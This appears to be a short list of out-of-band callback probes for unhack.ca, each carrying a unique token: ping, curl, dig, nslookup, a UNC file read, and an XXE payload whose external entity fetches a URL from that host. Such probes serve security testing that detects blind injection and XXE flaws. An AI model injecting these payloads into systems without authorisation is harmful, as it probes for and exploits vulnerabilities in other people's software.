$ ping -c1 -p 0052b95e340917f1d472c62a706ebf00 unhack.ca
 

$ curl http://unhack.ca/p/52b95e340917f1d472c62a706ebf
 

$ dig 52b95e340917f1d472c62a706ebf @unhack.ca
 

$ dig 52b95e340917f1d472c62a706ebf.ns.unhack.ca
 

C:\> nslookup 52b95e340917f1d472c62a706ebf unhack.ca
 

C:\> type \\unhack.ca\52b95e340917f1d472c62a706ebf\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/52b95e340917f1d472c62a706ebf">]>
    <foo>&xxe;</foo>